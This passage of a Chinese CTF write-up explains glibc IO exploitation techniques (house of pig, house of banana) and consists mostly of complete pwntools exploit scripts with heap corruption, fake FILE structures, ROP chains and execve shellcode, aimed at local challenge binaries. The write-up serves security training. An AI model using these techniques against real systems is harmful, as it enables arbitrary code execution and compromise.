      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size);//利用点
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
 
      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
 
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }
 
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
//核心利用部分
//old_blen <=> ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
char *old_buf = fp->_IO_buf_base;
...
new_buf = malloc (new_size);
...
memcpy (new_buf, old_buf, old_blen);
free (old_buf)

在这部分,连续调用了mallocmemcpyfree函数,并且其中memcpy的数据来自fp指针指向的_IO_buf_base。

只要能够控制_IO_buf_end、_IO_buf_base,我们就可以控制malloc的size以及写入的数据。

Tinynote(fastbin reverse into tcache/sandbox/2.33uaf)

2021年西湖论剑线上赛wjh师傅出的题,house of pig 沙盒绕过利用

image-20220604173419107

image-20220604173502725

add有限制,只能申请三个idx堆,malloc有检测,只能申请第一页堆地址里的位置

image-20220604173515126

漏洞点在,UAF

image-20220604173615123

利用思路fastbin reverse into tcache任意地址写,在stderr_chain字段写入heap_base+0x10,劫持IO结构体(这种方式高版本只能用来劫持chain字段),然后伪造能能触发ORW的IO

利用house of pig malloc到free_hook处(题目本身也是申请不到此处的),mempy覆盖free为magic_gadget,+8为给rdx赋的地址(相当于设置payload基址了)。

然后会call到rdx+0x20处即setcontext+61,设置rdx+0xa0和+0xa8为orw地址(rsp)和pop rdi(rcx),这样poprdi就会把orw地址处第一个地址给rdi,然后从第二个地址开始执行(小技巧吧,ret的优化)

from pwn import *
# context.log_level = "debug"
context.arch = "amd64"

p = process('./TinyNote')
elf = ELF("./TinyNote")
libc = elf.libc

def dbg():
    gdb.attach(p)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def add(idx):
    sla("Choice:",1)
    sla("Index:",idx)

def edit(idx,con):
    sla("Choice:",2)
    sla("Index:",idx)
    p.sendafter("Content:",con)

def show(idx):
    sla("Choice:",3)
    sla("Index:",idx)

def dele(idx):
    sla("Choice:",4)
    sla("Index:",idx)

#---------------------------------------------------leak 
add(0)
add(1)
dele(0)
show(0)
p.recvuntil("Content:")
key = u64(p.recv(6).ljust(8,'\x00'))
lg("key")
heap_base = key<<12
lg("heap_base")

#利用UAF任意堆地址写改size合并
dele(1)
edit(1,p64((heap_base+0x2b0)^key))
add(1)
add(0)# heap+0x2b0
edit(0,p64(0)+p64(0x421))
for i in range(33):
    add(0)

dele(1)
show(1)
libc_base = uu64()-0x1e0c00
lg('libc_base')
#--------------------------------------------------
IO_list_all= libc_base+0x1e15c0
IO_str_jumps=libc_base+0x1e2560
free_hook = libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']
magic=libc_base+0x14a0a0# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
lg("magic")

pop_rdi=libc_base+0x0000000000028a55
pop_rsi=libc_base+0x000000000002a4cf
pop_rdx=libc_base+0x00000000000c7f32
Open=libc_base+libc.sym['open']
Read=libc_base+libc.sym['read']
Write=libc_base+libc.sym['write']
#--------------------------------------------------fastbin reverse into tcache
# 利用UAF控制了tcache_struct
# 这里无法直接填满fastbin的原因是,有idx限制,如果改count为7直接来填充fastbin需要能申请很多个不同的chunk
# 用tcache就可以依赖tcache_struct达到绕过申请bin里chunk的目的,实现free_chunk的保留
add(0)
add(1)
dele(0)
dele(1)

edit(1,p64((heap_base+0x10)^key))
add(0)
add(0)# heap+0x10/cont

add(1)
dele(1)
edit(0,p64(2))
edit(1,p64((heap_base+0x90)^key))
add(1)
add(1)# heap+0x90/entry

for i in range(8):# full in tcache
    edit(0,p64(0))
    add(2)
    edit(0,p64(i))
    dele(2)

edit(2,p64((IO_list_all+0x70)^key))


for i in range(6):# tcache into fastbin
    add(2)
    edit(0,p64(7))
    dele(2)
    edit(0,p64(6-i))

edit(0,p64(0))
add(2)# fastbin into tcache
#---------------------------------------------------house of pig
def change(addr,context):
    edit(0,p64(1))
    edit(1,p64(addr))
    add(2)
    edit(2,context)
 
length=0x230
start = heap_base + 0x600
end = start + ((length) - 100)//2
# 布置IO
change(heap_base+0x30,p64(1)+p64(0xffffffffffff))
change(heap_base+0x40,p64(0)+p64(start))
change(heap_base+0x50,p64(end))
change(heap_base+0xd0,p64(0))
change(heap_base+0xe0,p64(0)+p64(IO_str_jumps))

# 设置跳转
change(heap_base+0x1a0,p64(free_hook))# 用于malloc
change(heap_base+0x600,p64(magic)+p64(heap_base+0x700))# 用于mempy
change(heap_base+0x720,p64(setcontext+61))# 用于magic跳转
change(heap_base+0x7a0,p64(heap_base+0x800)+p64(pop_rdi))# 用于setcontext
change(heap_base+0x7c0,'flag'.ljust(0x10,'\x00'))
change(heap_base+0x800,p64(heap_base+0x7c0)+p64(pop_rsi))# ORW
change(heap_base+0x810,p64(0)+p64(Open))
change(heap_base+0x820,p64(pop_rdi)+p64(3))
change(heap_base+0x830,p64(pop_rsi)+p64(heap_base+0x900))
change(heap_base+0x840,p64(pop_rdx)+p64(0x50))
change(heap_base+0x850,p64(Read)+p64(pop_rdi))
change(heap_base+0x860,p64(1)+p64(Write))

edit(1,p64(free_hook))
edit(0,p64(1))
add(2) # _IO_flush_all_lockp
p.interactive()

image-20220606221818559

漏洞点在于mpp+0x128为free的标志位,free后会置1,而在保存用户环节却没有保存这一元素,导致在加载时此位置被重置,实现UAF

image-20220606222027119

from pwn import *
# context.log_level = 'debug'
context.arch='amd64'
p = process('./pig')
elf = ELF("pig")
libc = elf.libc
#elf=ELF('./pwn')

def dbg():
    gdb.attach(p)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def menu(cmd):
    sla('Choice: ',cmd)
def add(size, content):
    menu(1)
    sla('size: ',size)
    sa('message: ',content)
def show(idx):
    menu(2)
    sla('index: ',idx)
def edit(idx, content):
    menu(3)
    sla('index: ',idx)
    sa('message: ',content)
def free(idx):
    menu(4)
    sla('index: ',idx)
def change(user):
    menu(5)
    if user == 1:
        sla('user:\n', 'A\x01\x95\xc9\x1c')
    elif user == 2:
        sla('user:\n', 'B\x01\x87\xc3\x19')
    elif user == 3:
        sla('user:\n', 'C\x01\xf7\x3c\x32')

#--------------------prepare for tcache stashing unlink attack-------------
#首先是布置tcache stashing unlink attack,在tcachebin中准备五个chunk,在smallbin中准备两个chunk
change(2)
for i in range(5):#B0-B4
    add(0x90,'a'*0x30)
    free(i)

change(1)
add(0x130,'a'*0x60)#A0
for i in range(1,8):#A1-A7
    add(0x130,'a'*0x60)
    free(i)
    
free(0)
change(2)
add(0x90,'a'*0x30)#B5
change(1)
add(0x150,'a'*0x70)#A8

for i in range(9,16):#A9-A15
    add(0x150,'a'*0x70)
    free(i)

free(8)
change(2)
add(0xb0,'a'*0x30)#B6
change(1)
add(0x430,'a'*0x160)#A16
#-----------------------leak libc and heap address-------------------------
# 然后是泄露libc_base和heap_base
# 在上一步的最后,我们申请了一个0x430大小的堆,用来将chunk放入smallbin中,这一步中,我们申请一个chunk(不影响bin),将0x430大小的堆和top chunk隔开,然后释放掉它,两次change,然后直接show就可以打印libc上的值。heap_base泄露tcache上的堆即可
change(2)
add(0xf0,'a'*0x50)#B7# avoid top chunk
change(1)
free(16)

change(2)
change(1)
show(16)
ru("The message is: ")
libc_base=u64(p.recv(6).ljust(8,'\x00'))-(0x7ff63856abe0-0x7ff63837f000)
lg("libc_base")
system=libc_base+libc.sym['system']
lg("system")
free_hook=libc_base+libc.sym['__free_hook']
change(2)
show(1)
ru("The message is: ")
heap_base=u64(p.recv(6).ljust(8,'\x00'))-0x1eb0
lg("heap_base")
#-----------------first  large bin attack---------------------------
#第一次largebin attack,将堆地址写到了free_hook-8的位置,为了通过tcache stashing unlink attack的检查
add(0x440,'a'*0x160)#B8
change(1)
add(0x430,'a'*0x160)#A17
add(0x430,'a'*0x160)#A18
add(0x430,'a'*0x160)#A19
change(2)
free(8)
add(0x450,'a'*0x170)#B9
change(1)
free(17)
change(2)
edit(8,p64(0)+p64(free_hook-0x28)+'\n')

change(3)
add(0xa0,'a'*0x30)#C0
change(2)
edit(8,p64(heap_base+0x3c00)*2+'\n')# recover

#----------------second large bin attack---------------------------
# 第二次largebin attack,将一个堆地址写到_IO_list_all上,从而伪造FILE
change(3)
add(0x380,'a'*0x120)#C1
IO_list_all = libc_base + libc.sym['_IO_list_all']
change(1)
free(19)
change(2)
edit(8,p64(0)+p64(IO_list_all-0x20)+'\n')
change(3)
add(0xa0,'a'*0x30)#C2
change(2)
edit(8,p64(heap_base+0x3c00)*2+'\n')

#----------------tcache stashing unlink attack----------------------
change(1)
fd=heap_base+0x2260
edit(8,'a'*0x40+p64(fd)+p64(free_hook-0x20)+'\n')# headptr

# 由于这里写是跳行写,所以要申请一个正常输入的堆,这里将其地址链入IO_chain
change(3)
payload = '\x00'*0x18 + p64(heap_base+0x4540)
payload = payload.ljust(0x160, '\x00')
add(0x440, payload)

add(0x90,'a'*0x30)# tcache stashing unlink attack

# IO攻击
# payload的/bin/sh应该是写在heapbase+0x4620的位置,那么buf_end就应该是heapbase+0x4638
# 因为其插值 0x18*2+100 等于0x94,即会申请到0xa0大小的chunk即free_hook-0x10
# 然后copy['/bin/sh\x00' + p64(system)*2]到free_hook-0x10
# free触发system

str_jumps=libc_base+(0x7ff9fa4a1560-0x7ff9fa2b4000)
fake_IO_FILE = p64(0)*2
fake_IO_FILE += p64(0)# _IO_write_base
fake_IO_FILE += p64(0xffffffffffff) #_IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x4620)                #_IO_buf_base
fake_IO_FILE += p64(heap_base+0x4638)                #_IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0)                    #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(str_jumps)        #change vtable
payload = fake_IO_FILE + '/bin/sh\x00' + p64(system)*2
sa('Gift:', payload)
menu(5)
sla('user:\n', '')# exit
p.interactive()

eznote(方案二/2.35)

image-20220721095051439

题目一开始calloc了一个堆块来进行堆块管理,add的时候可以申请8个chunk,在管理堆中发生溢出,导致第一个堆的size头被第8个堆的管理信息给覆盖,可供堆合并,实现堆复用

其它功能只能对前7个堆块进行管理

题目的主要思路是利用堆复用泄露地址,和实施largebinattack,劫持IO_list_all,然后伪造IO打libc.memcpy_got为system,触发刷新流。

image-20220721095230621

# _*_ coding:utf-8 _*_
from pwn import *

# context.log_level='debug'
p = process("./eznote")
elf = ELF("./eznote")
libc = elf.libc

def dbg():
    gdb.attach(p)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def add(size,con):
    sla("> ",1)
    sla("Size: ",size)
    p.sendlineafter("Content: ",con)

def edit(idx,con):
    sla("> ",3)
    sla("Idx: ",idx)
    p.sendlineafter("Content: ",con)

def show(idx):
    sla("> ",4)
    sla("Idx: ",idx)


def dele(idx):
    sla("> ",2)
    sla("Idx: ",idx)


add(0x438,'0'*0x438)# 0
add(0x408,'1'*0x408)# 1
add(0x448,'2'*0x448)# 2
add(0x418,'3'*0x418)# 3

add(0x418,'4'*0x418)# 4

add(0x408,'5'*0x408)# 5
add(0x408,'6'*0x408)# 6
add(0xca1,'a')# 7

dele(0)
dele(3)# 0123

add(0x438,'a'*0x438)# 0
add(0x408,'a'*0x400)# 3-1
dele(1)
show(3)
ru('Note3:\n')
key = u64(p.recv(5).ljust(8, '\x00'))
lg('key')
heap_base = key << 12
lg('heap_base')

add(0x448,'a'*0x448)# 1-2
dele(4)# 3and4
add(0x838,'a'*0x838)# 4-3and4

dele(2)
show(1)
libc_base = uu64()-0x219ce0
IO_list_all = libc_base + 0x21a680
IO_str_jumps = libc_base + 0x2166c0
memcpy_got = libc_base + 0x0000000000219160
memset = libc_base + libc.sym['memset']
system = libc_base + 0x50d60
lg('IO_list_all')
#-----------------------------------------------------------------
add(0x1000,'a'*0x1000)# 2
edit(1,p64(libc_base+0x21a0e0)*2+p64(0)+p64(IO_list_all-0x20))
dele(0)
add(0x1000,'a'*0x1000)# 0
dele(0)
add(0x438, 'a'*0x438)# 0
#-----------------------------------------------------------------

new_size = 0x408
copy_heap_addr = heap_base+0x10
next_chain = heap_base+0x2d00-0x10
old_blen = (new_size-100)//2

fake_IO_FILE =  p64(0)*2
fake_IO_FILE += p64(0)# _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff)# _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(copy_heap_addr)# _IO_buf_base
fake_IO_FILE += p64(copy_heap_addr+old_blen)# _IO_buf_end
fake_IO_FILE =  fake_IO_FILE.ljust(0x58,'\x00')
fake_IO_FILE += p64(next_chain)# _chain
fake_IO_FILE =  fake_IO_FILE.ljust(0x78,'\x00')
fake_IO_FILE += p64(heap_base)# _lock = writable address
fake_IO_FILE =  fake_IO_FILE.ljust(0xB0,'\x00')
fake_IO_FILE += p64(0)# _mode = 0
fake_IO_FILE =  fake_IO_FILE.ljust(0xC8,'\x00')
fake_IO_FILE += p64(IO_str_jumps)# vtable

new_size = 0x288
copy_heap_addr = heap_base+0x790
next_chain = heap_base+0x2dd0-0x10
old_blen = (new_size-100)//2

fake_IO_FILE2 =  p64(0)*2
fake_IO_FILE2 += p64(0)# _IO_write_base = 0
fake_IO_FILE2 += p64(0xffffffffffffffff)# _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE2 += p64(0)
fake_IO_FILE2 += p64(copy_heap_addr)# _IO_buf_base
fake_IO_FILE2 += p64(copy_heap_addr+old_blen)# _IO_buf_end
fake_IO_FILE2 =  fake_IO_FILE2.ljust(0x58,'\x00')
fake_IO_FILE2 += p64(next_chain)# _chain
fake_IO_FILE2 =  fake_IO_FILE2.ljust(0x78,'\x00')
fake_IO_FILE2 += p64(heap_base)# _lock = writable address
fake_IO_FILE2 =  fake_IO_FILE2.ljust(0xB0,'\x00')
fake_IO_FILE2 += p64(0)# _mode = 0
fake_IO_FILE2 =  fake_IO_FILE2.ljust(0xC8,'\x00')
fake_IO_FILE2 += p64(IO_str_jumps)# vtable

new_size = 0x128
copy_heap_addr = heap_base+0x1830
next_chain = heap_base+0x2e90
old_blen = (new_size-100)//2

fake_IO_FILE3 =  p64(0)*2
fake_IO_FILE3 += p64(0)# _IO_write_base = 0
fake_IO_FILE3 += p64(0xffffffffffffffff)# _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE3 += p64(0)
fake_IO_FILE3 += p64(copy_heap_addr)# _IO_buf_base
fake_IO_FILE3 += p64(copy_heap_addr+old_blen)# _IO_buf_end
fake_IO_FILE3 =  fake_IO_FILE3.ljust(0x58,'\x00')
fake_IO_FILE3 += p64(next_chain)# _chain
fake_IO_FILE3 =  fake_IO_FILE3.ljust(0x78,'\x00')
fake_IO_FILE3 += p64(heap_base)# _lock = writable address
fake_IO_FILE3 =  fake_IO_FILE3.ljust(0xB0,'\x00')
fake_IO_FILE3 += p64(0)# _mode = 0
fake_IO_FILE3 =  fake_IO_FILE3.ljust(0xC8,'\x00')
fake_IO_FILE3 += p64(IO_str_jumps)# vtable

new_size = 0x108
copy_heap_addr = libc_base
next_chain = 0
old_blen = (new_size-100)//2

fake_IO_FILE4 =  p64(0)*2
fake_IO_FILE4 += p64(0)# _IO_write_base = 0
fake_IO_FILE4 += p64(0xffffffffffffffff)# _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE4 += p64(0)
fake_IO_FILE4 += p64(copy_heap_addr)# _IO_buf_base
fake_IO_FILE4 += p64(copy_heap_addr+old_blen)# _IO_buf_end
fake_IO_FILE4 =  fake_IO_FILE4.ljust(0x58,'\x00')
fake_IO_FILE4 += p64(next_chain)# _chain
fake_IO_FILE4 =  fake_IO_FILE4.ljust(0x78,'\x00')
fake_IO_FILE4 += p64(heap_base)# _lock = writable address
fake_IO_FILE4 =  fake_IO_FILE4.ljust(0xB0,'\x00')
fake_IO_FILE4 += p64(0)# _mode = 0
fake_IO_FILE4 =  fake_IO_FILE4.ljust(0xC8,'\x00')
fake_IO_FILE4 += p64(IO_str_jumps)# vtable



edit(3,p16(1)*0x20 + p64(memcpy_got-0x10)*0x30)# 0x780  # tcache struct data 0x40/0xd0
edit(1,fake_IO_FILE)# 0xb90 largebin
edit(2,fake_IO_FILE2 + fake_IO_FILE3 + fake_IO_FILE4)# 0x1000
edit(5,'/bin/sh\x00'*2+p64(system)+'\x00'*0x20+p64(memset))# 410
dele(6)# 0xc40

sla("> ",5)

p.interactive()

house of banana

利用链

exit-> __run_exit_handlers->_dl_fini->_dl_fini+520(setcontext)

适用情况

由于利用的是exit,要求比较宽松,满足任一条件即可:

  • 程序能够显式的执行exit函数
  • 程序通过libc_start_main启动的主函数,且主函数能够结束

利用原理和技巧杂谈

会在_dl_fini中调用(fini_t)array[i]这个数组

if (l->l_info[DT_FINI_ARRAY] != NULL)
{
  ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
  unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
  while (i-- > 0)
     ((fini_t) array[i]) ();
 }

我们要做的就是伪造rtld_global结构体,篡改引索,最后执行到我们伪造的(fini_t)array[i]。

ha1vk师傅也给出了pochttps://www.anquanke.com/post/id/222948,这里主要讲在pwn题里实际场景的应用了。

要注意的点:
1._rtld_global+8的位置一般为4,注意输入时是否带回车导致覆盖掉该部分,会影响结构体遍历,可能会导致该错误

image-20220916122728816

2.有时候可能因为栈平衡的原因,补一个在伪造中补一个ret即可

还是husk那道题,这里给一个2.31下 orw绕过沙箱的exp,最后利用部分,可以在ret地址下断点。

# 2.31
# _*_ coding:utf-8 _*_
from pwn import *
# context.log_level = 'debug'
context.arch='amd64'
p = process('./husk')
elf = ELF("./husk")
libc = elf.libc

def dbg():
    gdb.attach(p)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def dbg():
    gdb.attach(p)
    pause()

def add(size,con):
   sla('>>','1')
   sla('Size:',size)
   p.sendafter('Content:',con)

def dele(idx):
   sla('>>','2')
   sla('Index:',idx)

def show(idx):
   sla('>>','3')
   sla('Index:',str(idx))

def edit(idx,con):
   sla('>>','4')
   sla('Index:',str(idx))
   p.sendafter('Content:',con)

#-------------------------leak----------------------------
add(0x520,'e4l4') #0
add(0x428,'e4l4') #1
add(0x500,'e4l4') #2
add(0x428,'e4l4') #3

dele(0)
add(0x600,'c'*0x600) #4
add(0x600,'c'*0x600) #5
show(0)
ru('Content: ')
main_arena = u64(p.recv(6).ljust(8,'\x00'))
libc_base = main_arena-0x1ec010
lg("libc_base")

rtl_global = libc_base + 0x222060# p &_rtld_global
lg("rtl_global")

setcontext = libc_base + libc.sym['setcontext'] + 61
ret = libc_base + libc.sym['setcontext'] + 0x14E
lg('ret')
pop_rdi = libc_base + 0x0000000000026b72
pop_rsi = libc_base + 0x0000000000027529
pop_rdx_r12 = libc_base + 0x000000000011c1e1
Open=libc_base+libc.sym['open']
Read=libc_base+libc.sym['read']
Write=libc_base+libc.sym['write']

# p *(struct link_map*)0x7f21c2a52740
edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x290
lg("heap_base")
edit(0,p64(main_arena)*2)
#-------------------------------------------------------------

dele(2)
edit(0,p64(main_arena)*2 + p64(0) + p64(rtl_global - 0x20))
add(0x600,'large bin attack!!')



fake_heap_addr = heap_base + 0xbf0

flag_addr = fake_heap_addr+0xb8
orw =  p64(pop_rsi)+p64(0)+p64(Open)
orw += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base+0xb50)+p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(Read)
orw += p64(pop_rdi)+p64(1)+p64(Write)+"flag".ljust(8,'\x00')

payload = p64(0) + p64(libc_base + 0x223740) + p64(0) + p64(fake_heap_addr)# _rtld_global+2440
payload += p64(setcontext) + p64(ret)# rdx_addr/call rdx
payload += p64(flag_addr)# rsp
payload += orw# 0x78
payload = payload.ljust(0xc8,'\x00')

payload += p64(fake_heap_addr + 0x28 + 0x18)# rdx+0xa0
payload += p64(pop_rdi)# rdx+0xa8
payload = payload.ljust(0x100,'\x00')
payload += p64(fake_heap_addr + 0x10 + 0x110)*0x3#
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x00')
payload += '\x08'

edit(2,payload)
edit(1,'a'*0x420 + p64(fake_heap_addr + 0x20))# call setcontext
#getshell
p.sendlineafter('>>','5')
# dbg()
p.sendlineafter('name:','e4l4')

p.interactive()

husk(2.30uaf)

西湖论剑2020决赛 husk,这题简直像这个方法的例题。。

ha1vk师傅发现的一种做法,其实不算IO利用,这里写一起了

题目是2.30的版本

image-20220609133551998

漏洞点

image-20220609133720488

这里贴一下这道题的system解,题目比较标准,这个解相当于一个范式,这里分析一下伪造_rtld_global的部分

image-20220609134636279

image-20220609134758916

#2.30 system
# _*_ coding:utf-8 _*_
from pwn import *
# context.log_level = 'debug'
context.arch='amd64'
p = process('./husk')
elf = ELF("./husk")
libc = elf.libc

def dbg():
    gdb.attach(p)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def dbg():
    gdb.attach(p)
    pause()

def add(size,con):
   sla('>>','1')
   sla('Size:',size)
   p.sendafter('Content:',con)

def dele(idx):
   sla('>>','2')
   sla('Index:',idx)

def show(idx):
   sla('>>','3')
   sla('Index:',str(idx))

def edit(idx,con):
   sla('>>','4')
   sla('Index:',str(idx))
   p.sendafter('Content:',con)

#-------------------------leak----------------------------
add(0x520,'e4l4') #0 # 这里size会影响下边的偏移
add(0x428,'e4l4') #1
add(0x500,'e4l4') #2
add(0x428,'e4l4') #3

dele(0)
add(0x600,'c'*0x600) #4
add(0x600,'c'*0x600) #5
show(0)
ru('Content: ')
main_arena = u64(p.recv(6).ljust(8,'\x00'))
libc_base = main_arena - 0x1eb010
lg("libc_base")

rtl_global = libc_base + 0x220060# p &_rtld_global
lg("rtl_global")

setcontext = libc_base + libc.sym['setcontext'] + 61
ret = libc_base + libc.sym['setcontext'] + 0x14E
pop_rdi = libc_base + 0x00000000000277e9
bin_sh = libc_base + libc.search('/bin/sh\x00').next()
system =  libc_base + libc.sym['system']
lg("system")

edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x290
lg("heap_base")
edit(0,p64(main_arena)*2)
#-------------------------------------------------------------

dele(2)
edit(0,p64(main_arena)*2 + p64(0) + p64(rtl_global - 0x20))
add(0x600,'large bin attack!!')


fake_heap_addr = heap_base + 0xbf0# rtl_global填的地址
# 这里这个地址用于调用原结构题的链,不用像POC里伪造4个链
# 我找的方法主要是先找 _rtld_global,然后找到_ns_loaded字段
# p *(struct link_map*)0x7f9a19bb79e8 
# 去引索 l_next 即我们需要的值
payload  = p64(0) + p64(libc_base + 0x221730)# _rtld_global+2440
payload += p64(0) + p64(fake_heap_addr)
payload += p64(setcontext) + p64(ret)# 用于call|这个地址会被赋值为rdx

